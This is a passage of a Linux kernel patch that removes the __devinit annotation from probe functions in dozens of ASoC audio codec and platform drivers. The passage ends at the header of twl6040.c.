--- a/sound/soc/blackfin/bf5xx-tdm.c
+++ b/sound/soc/blackfin/bf5xx-tdm.c
@@ -249,7 +249,7 @@ static struct snd_soc_dai_driver bf5xx_tdm_dai = {
 	.ops = &bf5xx_tdm_dai_ops,
 };
 
-static int __devinit bfin_tdm_probe(struct platform_device *pdev)
+static int bfin_tdm_probe(struct platform_device *pdev)
 {
 	struct sport_device *sport_handle;
 	int ret;
diff --git a/sound/soc/blackfin/bf6xx-i2s.c b/sound/soc/blackfin/bf6xx-i2s.c
index 0021bd6..a87b7b2 100644
--- a/sound/soc/blackfin/bf6xx-i2s.c
+++ b/sound/soc/blackfin/bf6xx-i2s.c
@@ -186,7 +186,7 @@ static struct snd_soc_dai_driver bfin_i2s_dai = {
 	.ops = &bfin_i2s_dai_ops,
 };
 
-static int __devinit bfin_i2s_probe(struct platform_device *pdev)
+static int bfin_i2s_probe(struct platform_device *pdev)
 {
 	struct sport_device *sport;
 	struct device *dev = &pdev->dev;
diff --git a/sound/soc/cirrus/edb93xx.c b/sound/soc/cirrus/edb93xx.c
index b610600..0e766a5 100644
--- a/sound/soc/cirrus/edb93xx.c
+++ b/sound/soc/cirrus/edb93xx.c
@@ -80,7 +80,7 @@ static struct snd_soc_card snd_soc_edb93xx = {
 	.num_links	= 1,
 };
 
-static int __devinit edb93xx_probe(struct platform_device *pdev)
+static int edb93xx_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_edb93xx;
 	int ret;
diff --git a/sound/soc/cirrus/ep93xx-ac97.c b/sound/soc/cirrus/ep93xx-ac97.c
index 2c15880..e70f53f 100644
--- a/sound/soc/cirrus/ep93xx-ac97.c
+++ b/sound/soc/cirrus/ep93xx-ac97.c
@@ -352,7 +352,7 @@ static struct snd_soc_dai_driver ep93xx_ac97_dai = {
 	.ops			= &ep93xx_ac97_dai_ops,
 };
 
-static int __devinit ep93xx_ac97_probe(struct platform_device *pdev)
+static int ep93xx_ac97_probe(struct platform_device *pdev)
 {
 	struct ep93xx_ac97_info *info;
 	struct resource *res;
diff --git a/sound/soc/cirrus/ep93xx-pcm.c b/sound/soc/cirrus/ep93xx-pcm.c
index 4274ba2..b294fb1 100644
--- a/sound/soc/cirrus/ep93xx-pcm.c
+++ b/sound/soc/cirrus/ep93xx-pcm.c
@@ -213,7 +213,7 @@ static struct snd_soc_platform_driver ep93xx_soc_platform = {
 	.pcm_free	= &ep93xx_pcm_free_dma_buffers,
 };
 
-static int __devinit ep93xx_soc_platform_probe(struct platform_device *pdev)
+static int ep93xx_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &ep93xx_soc_platform);
 }
diff --git a/sound/soc/cirrus/simone.c b/sound/soc/cirrus/simone.c
index 04f59a9..1c8d9aa 100644
--- a/sound/soc/cirrus/simone.c
+++ b/sound/soc/cirrus/simone.c
@@ -41,7 +41,7 @@ static struct snd_soc_card snd_soc_simone = {
 
 static struct platform_device *simone_snd_ac97_device;
 
-static int __devinit simone_probe(struct platform_device *pdev)
+static int simone_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_simone;
 	int ret;
diff --git a/sound/soc/cirrus/snappercl15.c b/sound/soc/cirrus/snappercl15.c
index a98bec1..7f8dcd2 100644
--- a/sound/soc/cirrus/snappercl15.c
+++ b/sound/soc/cirrus/snappercl15.c
@@ -98,7 +98,7 @@ static struct snd_soc_card snd_soc_snappercl15 = {
 	.num_links	= 1,
 };
 
-static int __devinit snappercl15_probe(struct platform_device *pdev)
+static int snappercl15_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_snappercl15;
 	int ret;
diff --git a/sound/soc/codecs/88pm860x-codec.c b/sound/soc/codecs/88pm860x-codec.c
index 6e9d31b..0631036 100644
--- a/sound/soc/codecs/88pm860x-codec.c
+++ b/sound/soc/codecs/88pm860x-codec.c
@@ -1423,7 +1423,7 @@ static struct snd_soc_codec_driver soc_codec_dev_pm860x = {
 	.num_dapm_routes = ARRAY_SIZE(pm860x_dapm_routes),
 };
 
-static int __devinit pm860x_codec_probe(struct platform_device *pdev)
+static int pm860x_codec_probe(struct platform_device *pdev)
 {
 	struct pm860x_chip *chip = dev_get_drvdata(pdev->dev.parent);
 	struct pm860x_priv *pm860x;
diff --git a/sound/soc/codecs/ab8500-codec.c b/sound/soc/codecs/ab8500-codec.c
index bf9db7f..300ea60 100644
--- a/sound/soc/codecs/ab8500-codec.c
+++ b/sound/soc/codecs/ab8500-codec.c
@@ -2554,7 +2554,7 @@ static struct snd_soc_codec_driver ab8500_codec_driver = {
 	.num_dapm_routes =	ARRAY_SIZE(ab8500_dapm_routes),
 };
 
-static int __devinit ab8500_codec_driver_probe(struct platform_device *pdev)
+static int ab8500_codec_driver_probe(struct platform_device *pdev)
 {
 	int status;
 	struct ab8500_codec_drvdata *drvdata;
diff --git a/sound/soc/codecs/ac97.c b/sound/soc/codecs/ac97.c
index 0ae093b..5c0837b 100644
--- a/sound/soc/codecs/ac97.c
+++ b/sound/soc/codecs/ac97.c
@@ -118,7 +118,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ac97 = {
 	.resume =	ac97_soc_resume,
 };
 
-static __devinit int ac97_probe(struct platform_device *pdev)
+static int ac97_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_ac97, &ac97_dai, 1);
diff --git a/sound/soc/codecs/ad1836.c b/sound/soc/codecs/ad1836.c
index 1613241..384ae12 100644
--- a/sound/soc/codecs/ad1836.c
+++ b/sound/soc/codecs/ad1836.c
@@ -360,7 +360,7 @@ static const struct regmap_config ad1836_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit ad1836_spi_probe(struct spi_device *spi)
+static int ad1836_spi_probe(struct spi_device *spi)
 {
 	struct ad1836_priv *ad1836;
 	int ret;
diff --git a/sound/soc/codecs/ad193x.c b/sound/soc/codecs/ad193x.c
index 9537b66..209b7b5 100644
--- a/sound/soc/codecs/ad193x.c
+++ b/sound/soc/codecs/ad193x.c
@@ -378,7 +378,7 @@ static const struct regmap_config ad193x_spi_regmap_config = {
 	.volatile_reg = adau193x_reg_volatile,
 };
 
-static int __devinit ad193x_spi_probe(struct spi_device *spi)
+static int ad193x_spi_probe(struct spi_device *spi)
 {
 	struct ad193x_priv *ad193x;
 
@@ -430,7 +430,7 @@ static const struct i2c_device_id ad193x_id[] = {
 };
 MODULE_DEVICE_TABLE(i2c, ad193x_id);
 
-static int __devinit ad193x_i2c_probe(struct i2c_client *client,
+static int ad193x_i2c_probe(struct i2c_client *client,
 		const struct i2c_device_id *id)
 {
 	struct ad193x_priv *ad193x;
diff --git a/sound/soc/codecs/ad1980.c b/sound/soc/codecs/ad1980.c
index b095553..db6657f 100644
--- a/sound/soc/codecs/ad1980.c
+++ b/sound/soc/codecs/ad1980.c
@@ -255,7 +255,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ad1980 = {
 	.read = ac97_read,
 };
 
-static __devinit int ad1980_probe(struct platform_device *pdev)
+static int ad1980_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_ad1980, &ad1980_dai, 1);
diff --git a/sound/soc/codecs/adau1373.c b/sound/soc/codecs/adau1373.c
index 7f62721..e20e267 100644
--- a/sound/soc/codecs/adau1373.c
+++ b/sound/soc/codecs/adau1373.c
@@ -1353,7 +1353,7 @@ static struct snd_soc_codec_driver adau1373_codec_driver = {
 	.num_dapm_routes = ARRAY_SIZE(adau1373_dapm_routes),
 };
 
-static int __devinit adau1373_i2c_probe(struct i2c_client *client,
+static int adau1373_i2c_probe(struct i2c_client *client,
 	const struct i2c_device_id *id)
 {
 	struct adau1373 *adau1373;
diff --git a/sound/soc/codecs/adau1701.c b/sound/soc/codecs/adau1701.c
index f02b1c83..bd7d58f 100644
--- a/sound/soc/codecs/adau1701.c
+++ b/sound/soc/codecs/adau1701.c
@@ -489,7 +489,7 @@ static struct snd_soc_codec_driver adau1701_codec_drv = {
 	.set_sysclk		= adau1701_set_sysclk,
 };
 
-static __devinit int adau1701_i2c_probe(struct i2c_client *client,
+static int adau1701_i2c_probe(struct i2c_client *client,
 		const struct i2c_device_id *id)
 {
 	struct adau1701 *adau1701;
diff --git a/sound/soc/codecs/adav80x.c b/sound/soc/codecs/adav80x.c
index cd5d0f6..cb960fd 100644
--- a/sound/soc/codecs/adav80x.c
+++ b/sound/soc/codecs/adav80x.c
@@ -839,7 +839,7 @@ static struct snd_soc_codec_driver adav80x_codec_driver = {
 	.num_dapm_routes = ARRAY_SIZE(adav80x_dapm_routes),
 };
 
-static int __devinit adav80x_bus_probe(struct device *dev,
+static int adav80x_bus_probe(struct device *dev,
 		enum snd_soc_control_type control_type)
 {
 	struct adav80x *adav80x;
@@ -868,7 +868,7 @@ static int __devexit adav80x_bus_remove(struct device *dev)
 }
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit adav80x_spi_probe(struct spi_device *spi)
+static int adav80x_spi_probe(struct spi_device *spi)
 {
 	return adav80x_bus_probe(&spi->dev, SND_SOC_SPI);
 }
@@ -895,7 +895,7 @@ static const struct i2c_device_id adav80x_id[] = {
 };
 MODULE_DEVICE_TABLE(i2c, adav80x_id);
 
-static int __devinit adav80x_i2c_probe(struct i2c_client *client,
+static int adav80x_i2c_probe(struct i2c_client *client,
 		const struct i2c_device_id *id)
 {
 	return adav80x_bus_probe(&client->dev, SND_SOC_I2C);
diff --git a/sound/soc/codecs/ads117x.c b/sound/soc/codecs/ads117x.c
index 93aae10..a152f5a 100644
--- a/sound/soc/codecs/ads117x.c
+++ b/sound/soc/codecs/ads117x.c
@@ -36,7 +36,7 @@ static struct snd_soc_dai_driver ads117x_dai = {
 
 static struct snd_soc_codec_driver soc_codec_dev_ads117x;
 
-static __devinit int ads117x_probe(struct platform_device *pdev)
+static int ads117x_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_ads117x, &ads117x_dai, 1);
diff --git a/sound/soc/codecs/ak4535.c b/sound/soc/codecs/ak4535.c
index 66b3669..77e285c 100644
--- a/sound/soc/codecs/ak4535.c
+++ b/sound/soc/codecs/ak4535.c
@@ -436,7 +436,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ak4535 = {
 	.num_dapm_routes = ARRAY_SIZE(ak4535_audio_map),
 };
 
-static __devinit int ak4535_i2c_probe(struct i2c_client *i2c,
+static int ak4535_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct ak4535_priv *ak4535;
diff --git a/sound/soc/codecs/ak4641.c b/sound/soc/codecs/ak4641.c
index 8c8ef10..09da215 100644
--- a/sound/soc/codecs/ak4641.c
+++ b/sound/soc/codecs/ak4641.c
@@ -557,7 +557,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ak4641 = {
 };
 
 
-static int __devinit ak4641_i2c_probe(struct i2c_client *i2c,
+static int ak4641_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct ak4641_platform_data *pdata = i2c->dev.platform_data;
diff --git a/sound/soc/codecs/ak4642.c b/sound/soc/codecs/ak4642.c
index e2c3222..aba3813 100644
--- a/sound/soc/codecs/ak4642.c
+++ b/sound/soc/codecs/ak4642.c
@@ -520,7 +520,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ak4648 = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int ak4642_i2c_probe(struct i2c_client *i2c,
+static int ak4642_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct ak4642_priv *ak4642;
diff --git a/sound/soc/codecs/ak4671.c b/sound/soc/codecs/ak4671.c
index 2fc0a5d..93a76cb 100644
--- a/sound/soc/codecs/ak4671.c
+++ b/sound/soc/codecs/ak4671.c
@@ -655,7 +655,7 @@ static struct snd_soc_codec_driver soc_codec_dev_ak4671 = {
 	.num_dapm_routes = ARRAY_SIZE(ak4671_intercon),
 };
 
-static int __devinit ak4671_i2c_probe(struct i2c_client *client,
+static int ak4671_i2c_probe(struct i2c_client *client,
 		const struct i2c_device_id *id)
 {
 	struct ak4671_priv *ak4671;
diff --git a/sound/soc/codecs/alc5623.c b/sound/soc/codecs/alc5623.c
index cef214e..5a7ad19 100644
--- a/sound/soc/codecs/alc5623.c
+++ b/sound/soc/codecs/alc5623.c
@@ -991,7 +991,7 @@ static struct snd_soc_codec_driver soc_codec_device_alc5623 = {
  *    low  = 0x1a
  *    high = 0x1b
  */
-static __devinit int alc5623_i2c_probe(struct i2c_client *client,
+static int alc5623_i2c_probe(struct i2c_client *client,
 				const struct i2c_device_id *id)
 {
 	struct alc5623_platform_data *pdata;
diff --git a/sound/soc/codecs/alc5632.c b/sound/soc/codecs/alc5632.c
index 93fd94d..7026e3d 100644
--- a/sound/soc/codecs/alc5632.c
+++ b/sound/soc/codecs/alc5632.c
@@ -1116,7 +1116,7 @@ static struct regmap_config alc5632_regmap = {
  *    low  = 0x1a
  *    high = 0x1b
  */
-static __devinit int alc5632_i2c_probe(struct i2c_client *client,
+static int alc5632_i2c_probe(struct i2c_client *client,
 				const struct i2c_device_id *id)
 {
 	struct alc5632_priv *alc5632;
diff --git a/sound/soc/codecs/cs4271.c b/sound/soc/codecs/cs4271.c
index 976b9bd..3d637b2 100644
--- a/sound/soc/codecs/cs4271.c
+++ b/sound/soc/codecs/cs4271.c
@@ -570,7 +570,7 @@ static struct snd_soc_codec_driver soc_codec_dev_cs4271 = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit cs4271_spi_probe(struct spi_device *spi)
+static int cs4271_spi_probe(struct spi_device *spi)
 {
 	struct cs4271_private *cs4271;
 
@@ -609,7 +609,7 @@ static const struct i2c_device_id cs4271_i2c_id[] = {
 };
 MODULE_DEVICE_TABLE(i2c, cs4271_i2c_id);
 
-static int __devinit cs4271_i2c_probe(struct i2c_client *client,
+static int cs4271_i2c_probe(struct i2c_client *client,
 				      const struct i2c_device_id *id)
 {
 	struct cs4271_private *cs4271;
diff --git a/sound/soc/codecs/cs42l73.c b/sound/soc/codecs/cs42l73.c
index f68bbc7..362c20b 100644
--- a/sound/soc/codecs/cs42l73.c
+++ b/sound/soc/codecs/cs42l73.c
@@ -1345,7 +1345,7 @@ static struct regmap_config cs42l73_regmap = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int cs42l73_i2c_probe(struct i2c_client *i2c_client,
+static int cs42l73_i2c_probe(struct i2c_client *i2c_client,
 				       const struct i2c_device_id *id)
 {
 	struct cs42l73_private *cs42l73;
diff --git a/sound/soc/codecs/da7210.c b/sound/soc/codecs/da7210.c
index 7ab571d..0c3b09c 100644
--- a/sound/soc/codecs/da7210.c
+++ b/sound/soc/codecs/da7210.c
@@ -1218,7 +1218,7 @@ static const struct regmap_config da7210_regmap_config_i2c = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit da7210_i2c_probe(struct i2c_client *i2c,
+static int da7210_i2c_probe(struct i2c_client *i2c,
 			   	      const struct i2c_device_id *id)
 {
 	struct da7210_priv *da7210;
@@ -1323,7 +1323,7 @@ static const struct regmap_config da7210_regmap_config_spi = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit da7210_spi_probe(struct spi_device *spi)
+static int da7210_spi_probe(struct spi_device *spi)
 {
 	struct da7210_priv *da7210;
 	int ret;
diff --git a/sound/soc/codecs/da732x.c b/sound/soc/codecs/da732x.c
index c6f1ef9..850bfed 100644
--- a/sound/soc/codecs/da732x.c
+++ b/sound/soc/codecs/da732x.c
@@ -1557,7 +1557,7 @@ static struct snd_soc_codec_driver soc_codec_dev_da732x = {
 	.reg_cache_size		= ARRAY_SIZE(da732x_reg_cache),
 };
 
-static __devinit int da732x_i2c_probe(struct i2c_client *i2c,
+static int da732x_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct da732x_priv *da732x;
diff --git a/sound/soc/codecs/da9055.c b/sound/soc/codecs/da9055.c
index 468ad60..cf8dfeb 100644
--- a/sound/soc/codecs/da9055.c
+++ b/sound/soc/codecs/da9055.c
@@ -1484,7 +1484,7 @@ static const struct regmap_config da9055_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit da9055_i2c_probe(struct i2c_client *i2c,
+static int da9055_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct da9055_priv *da9055;
diff --git a/sound/soc/codecs/dfbmcs320.c b/sound/soc/codecs/dfbmcs320.c
index af7e38d..61ccf30 100644
--- a/sound/soc/codecs/dfbmcs320.c
+++ b/sound/soc/codecs/dfbmcs320.c
@@ -33,7 +33,7 @@ static struct snd_soc_dai_driver dfbmcs320_dai = {
 
 static struct snd_soc_codec_driver soc_codec_dev_dfbmcs320;
 
-static int __devinit dfbmcs320_probe(struct platform_device *pdev)
+static int dfbmcs320_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_dfbmcs320,
 			&dfbmcs320_dai, 1);
diff --git a/sound/soc/codecs/dmic.c b/sound/soc/codecs/dmic.c
index 95b39ac..0dc7fab 100644
--- a/sound/soc/codecs/dmic.c
+++ b/sound/soc/codecs/dmic.c
@@ -66,7 +66,7 @@ static struct snd_soc_codec_driver soc_dmic = {
 	.probe	= dmic_probe,
 };
 
-static int __devinit dmic_dev_probe(struct platform_device *pdev)
+static int dmic_dev_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_dmic, &dmic_dai, 1);
diff --git a/sound/soc/codecs/isabelle.c b/sound/soc/codecs/isabelle.c
index 25e57ea..8853a83 100644
--- a/sound/soc/codecs/isabelle.c
+++ b/sound/soc/codecs/isabelle.c
@@ -1119,7 +1119,7 @@ static const struct regmap_config isabelle_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit isabelle_i2c_probe(struct i2c_client *i2c,
+static int isabelle_i2c_probe(struct i2c_client *i2c,
 					const struct i2c_device_id *id)
 {
 	struct regmap *isabelle_regmap;
diff --git a/sound/soc/codecs/jz4740.c b/sound/soc/codecs/jz4740.c
index d295dcf..3606f26 100644
--- a/sound/soc/codecs/jz4740.c
+++ b/sound/soc/codecs/jz4740.c
@@ -348,7 +348,7 @@ static const struct regmap_config jz4740_codec_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit jz4740_codec_probe(struct platform_device *pdev)
+static int jz4740_codec_probe(struct platform_device *pdev)
 {
 	int ret;
 	struct jz4740_codec *jz4740_codec;
diff --git a/sound/soc/codecs/lm4857.c b/sound/soc/codecs/lm4857.c
index b0db011..27e7991 100644
--- a/sound/soc/codecs/lm4857.c
+++ b/sound/soc/codecs/lm4857.c
@@ -209,7 +209,7 @@ static struct snd_soc_codec_driver soc_codec_dev_lm4857 = {
 	.set_bias_level = lm4857_set_bias_level,
 };
 
-static int __devinit lm4857_i2c_probe(struct i2c_client *i2c,
+static int lm4857_i2c_probe(struct i2c_client *i2c,
 	const struct i2c_device_id *id)
 {
 	struct lm4857 *lm4857;
diff --git a/sound/soc/codecs/lm49453.c b/sound/soc/codecs/lm49453.c
index af16b4a..568e499 100644
--- a/sound/soc/codecs/lm49453.c
+++ b/sound/soc/codecs/lm49453.c
@@ -1483,7 +1483,7 @@ static const struct regmap_config lm49453_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static __devinit int lm49453_i2c_probe(struct i2c_client *i2c,
+static int lm49453_i2c_probe(struct i2c_client *i2c,
 				       const struct i2c_device_id *id)
 {
 	struct lm49453_priv *lm49453;
diff --git a/sound/soc/codecs/max9768.c b/sound/soc/codecs/max9768.c
index 367d886..4ece6ab 100644
--- a/sound/soc/codecs/max9768.c
+++ b/sound/soc/codecs/max9768.c
@@ -159,7 +159,7 @@ static const struct regmap_config max9768_i2c_regmap_config = {
 	.cache_type = REGCACHE_RBTREE,
 };
 
-static int __devinit max9768_i2c_probe(struct i2c_client *client,
+static int max9768_i2c_probe(struct i2c_client *client,
 	const struct i2c_device_id *id)
 {
 	struct max9768 *max9768;
diff --git a/sound/soc/codecs/max9850.c b/sound/soc/codecs/max9850.c
index adf2317..261b62f 100644
--- a/sound/soc/codecs/max9850.c
+++ b/sound/soc/codecs/max9850.c
@@ -329,7 +329,7 @@ static struct snd_soc_codec_driver soc_codec_dev_max9850 = {
 	.num_dapm_routes = ARRAY_SIZE(max9850_dapm_routes),
 };
 
-static int __devinit max9850_i2c_probe(struct i2c_client *i2c,
+static int max9850_i2c_probe(struct i2c_client *i2c,
 		const struct i2c_device_id *id)
 {
 	struct max9850_priv *max9850;
diff --git a/sound/soc/codecs/max9877.c b/sound/soc/codecs/max9877.c
index bc15f5a..5243340 100644
--- a/sound/soc/codecs/max9877.c
+++ b/sound/soc/codecs/max9877.c
@@ -258,7 +258,7 @@ int max9877_add_controls(struct snd_soc_codec *codec)
 }
 EXPORT_SYMBOL_GPL(max9877_add_controls);
 
-static int __devinit max9877_i2c_probe(struct i2c_client *client,
+static int max9877_i2c_probe(struct i2c_client *client,
 		const struct i2c_device_id *id)
 {
 	i2c = client;
diff --git a/sound/soc/codecs/ml26124.c b/sound/soc/codecs/ml26124.c
index 7b15fe8..d3d6b26 100644
--- a/sound/soc/codecs/ml26124.c
+++ b/sound/soc/codecs/ml26124.c
@@ -626,7 +626,7 @@ static const struct regmap_config ml26124_i2c_regmap = {
 	.write_flag_mask = 0x01,
 };
 
-static __devinit int ml26124_i2c_probe(struct i2c_client *i2c,
+static int ml26124_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct ml26124_priv *priv;
diff --git a/sound/soc/codecs/omap-hdmi.c b/sound/soc/codecs/omap-hdmi.c
index 1437766..8ddc3d56 100644
--- a/sound/soc/codecs/omap-hdmi.c
+++ b/sound/soc/codecs/omap-hdmi.c
@@ -39,7 +39,7 @@ static struct snd_soc_dai_driver omap_hdmi_codec_dai = {
 	},
 };
 
-static __devinit int omap_hdmi_codec_probe(struct platform_device *pdev)
+static int omap_hdmi_codec_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &omap_hdmi_codec,
 			&omap_hdmi_codec_dai, 1);
diff --git a/sound/soc/codecs/pcm3008.c b/sound/soc/codecs/pcm3008.c
index bb48aa6..74561f3 100644
--- a/sound/soc/codecs/pcm3008.c
+++ b/sound/soc/codecs/pcm3008.c
@@ -149,7 +149,7 @@ static struct snd_soc_codec_driver soc_codec_dev_pcm3008 = {
 	.resume =	pcm3008_soc_resume,
 };
 
-static int __devinit pcm3008_codec_probe(struct platform_device *pdev)
+static int pcm3008_codec_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_pcm3008, &pcm3008_dai, 1);
diff --git a/sound/soc/codecs/sgtl5000.c b/sound/soc/codecs/sgtl5000.c
index 66e6e43..40d4fc1 100644
--- a/sound/soc/codecs/sgtl5000.c
+++ b/sound/soc/codecs/sgtl5000.c
@@ -1404,7 +1404,7 @@ static struct snd_soc_codec_driver sgtl5000_driver = {
 	.num_dapm_routes = ARRAY_SIZE(sgtl5000_dapm_routes),
 };
 
-static __devinit int sgtl5000_i2c_probe(struct i2c_client *client,
+static int sgtl5000_i2c_probe(struct i2c_client *client,
 					const struct i2c_device_id *id)
 {
 	struct sgtl5000_priv *sgtl5000;
diff --git a/sound/soc/codecs/si476x.c b/sound/soc/codecs/si476x.c
index 13fff24..8c46732 100644
--- a/sound/soc/codecs/si476x.c
+++ b/sound/soc/codecs/si476x.c
@@ -226,7 +226,7 @@ static struct snd_soc_codec_driver soc_codec_dev_si476x = {
 	.write  = si476x_codec_write,
 };
 
-static int __devinit si476x_platform_probe(struct platform_device *pdev)
+static int si476x_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_si476x,
 				      &si476x_dai, 1);
diff --git a/sound/soc/codecs/sn95031.c b/sound/soc/codecs/sn95031.c
index 97bad86..98529c5 100644
--- a/sound/soc/codecs/sn95031.c
+++ b/sound/soc/codecs/sn95031.c
@@ -896,7 +896,7 @@ struct snd_soc_codec_driver sn95031_codec = {
 	.num_dapm_routes	= ARRAY_SIZE(sn95031_audio_map),
 };
 
-static int __devinit sn95031_device_probe(struct platform_device *pdev)
+static int sn95031_device_probe(struct platform_device *pdev)
 {
 	pr_debug("codec device probe called for %s\n", dev_name(&pdev->dev));
 	return snd_soc_register_codec(&pdev->dev, &sn95031_codec,
diff --git a/sound/soc/codecs/ssm2602.c b/sound/soc/codecs/ssm2602.c
index c290fe10..6fa63cc 100644
--- a/sound/soc/codecs/ssm2602.c
+++ b/sound/soc/codecs/ssm2602.c
@@ -691,7 +691,7 @@ static const struct regmap_config ssm2602_regmap_config = {
 };
 
 #if defined(CONFIG_SPI_MASTER)
-static int __devinit ssm2602_spi_probe(struct spi_device *spi)
+static int ssm2602_spi_probe(struct spi_device *spi)
 {
 	struct ssm2602_priv *ssm2602;
 	int ret;
@@ -736,7 +736,7 @@ static struct spi_driver ssm2602_spi_driver = {
  *    low  = 0x1a
  *    high = 0x1b
  */
-static int __devinit ssm2602_i2c_probe(struct i2c_client *i2c,
+static int ssm2602_i2c_probe(struct i2c_client *i2c,
 			     const struct i2c_device_id *id)
 {
 	struct ssm2602_priv *ssm2602;
diff --git a/sound/soc/codecs/sta32x.c b/sound/soc/codecs/sta32x.c
index 2b10e20..2309f5a 100644
--- a/sound/soc/codecs/sta32x.c
+++ b/sound/soc/codecs/sta32x.c
@@ -995,7 +995,7 @@ static const struct regmap_config sta32x_regmap = {
 	.volatile_reg =		sta32x_reg_is_volatile,
 };
 
-static __devinit int sta32x_i2c_probe(struct i2c_client *i2c,
+static int sta32x_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct sta32x_priv *sta32x;
diff --git a/sound/soc/codecs/sta529.c b/sound/soc/codecs/sta529.c
index 34a73b8..570a09e 100644
--- a/sound/soc/codecs/sta529.c
+++ b/sound/soc/codecs/sta529.c
@@ -380,7 +380,7 @@ static const struct regmap_config sta529_regmap = {
 	.num_reg_defaults = ARRAY_SIZE(sta529_reg_defaults),
 };
 
-static __devinit int sta529_i2c_probe(struct i2c_client *i2c,
+static int sta529_i2c_probe(struct i2c_client *i2c,
 		const struct i2c_device_id *id)
 {
 	struct sta529 *sta529;
diff --git a/sound/soc/codecs/stac9766.c b/sound/soc/codecs/stac9766.c
index 29a8b391..20ad890 100644
--- a/sound/soc/codecs/stac9766.c
+++ b/sound/soc/codecs/stac9766.c
@@ -385,7 +385,7 @@ static struct snd_soc_codec_driver soc_codec_dev_stac9766 = {
 	.reg_cache_default = stac9766_reg,
 };
 
-static __devinit int stac9766_probe(struct platform_device *pdev)
+static int stac9766_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_stac9766, stac9766_dai, ARRAY_SIZE(stac9766_dai));
diff --git a/sound/soc/codecs/tlv320aic32x4.c b/sound/soc/codecs/tlv320aic32x4.c
index 4cc54d5..1d45339 100644
--- a/sound/soc/codecs/tlv320aic32x4.c
+++ b/sound/soc/codecs/tlv320aic32x4.c
@@ -716,7 +716,7 @@ static struct snd_soc_codec_driver soc_codec_dev_aic32x4 = {
 	.set_bias_level = aic32x4_set_bias_level,
 };
 
-static __devinit int aic32x4_i2c_probe(struct i2c_client *i2c,
+static int aic32x4_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct aic32x4_pdata *pdata = i2c->dev.platform_data;
diff --git a/sound/soc/codecs/tlv320dac33.c b/sound/soc/codecs/tlv320dac33.c
index c1e3804..8af052b 100644
--- a/sound/soc/codecs/tlv320dac33.c
+++ b/sound/soc/codecs/tlv320dac33.c
@@ -1514,7 +1514,7 @@ static struct snd_soc_dai_driver dac33_dai = {
 	.ops = &dac33_dai_ops,
 };
 
-static int __devinit dac33_i2c_probe(struct i2c_client *client,
+static int dac33_i2c_probe(struct i2c_client *client,
 				     const struct i2c_device_id *id)
 {
 	struct tlv320dac33_platform_data *pdata;
diff --git a/sound/soc/codecs/tpa6130a2.c b/sound/soc/codecs/tpa6130a2.c
index aea6262..f1c0399 100644
--- a/sound/soc/codecs/tpa6130a2.c
+++ b/sound/soc/codecs/tpa6130a2.c
@@ -359,7 +359,7 @@ int tpa6130a2_add_controls(struct snd_soc_codec *codec)
 }
 EXPORT_SYMBOL_GPL(tpa6130a2_add_controls);
 
-static int __devinit tpa6130a2_probe(struct i2c_client *client,
+static int tpa6130a2_probe(struct i2c_client *client,
 				     const struct i2c_device_id *id)
 {
 	struct device *dev;
diff --git a/sound/soc/codecs/twl4030.c b/sound/soc/codecs/twl4030.c
index d7e4e1b..c53c7fa 100644
--- a/sound/soc/codecs/twl4030.c
+++ b/sound/soc/codecs/twl4030.c
@@ -2334,7 +2334,7 @@ static struct snd_soc_codec_driver soc_codec_dev_twl4030 = {
 	.num_dapm_routes = ARRAY_SIZE(intercon),
 };
 
-static int __devinit twl4030_codec_probe(struct platform_device *pdev)
+static int twl4030_codec_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev, &soc_codec_dev_twl4030,
 			twl4030_dai, ARRAY_SIZE(twl4030_dai));
diff --git a/sound/soc/codecs/twl6040.c b/sound/soc/codecs/twl6040.c
index 37f060e..e3256ba 100644
--- a/sound/soc/codecs/twl6040.c
+++ b/sound/soc/codecs/twl6040.c
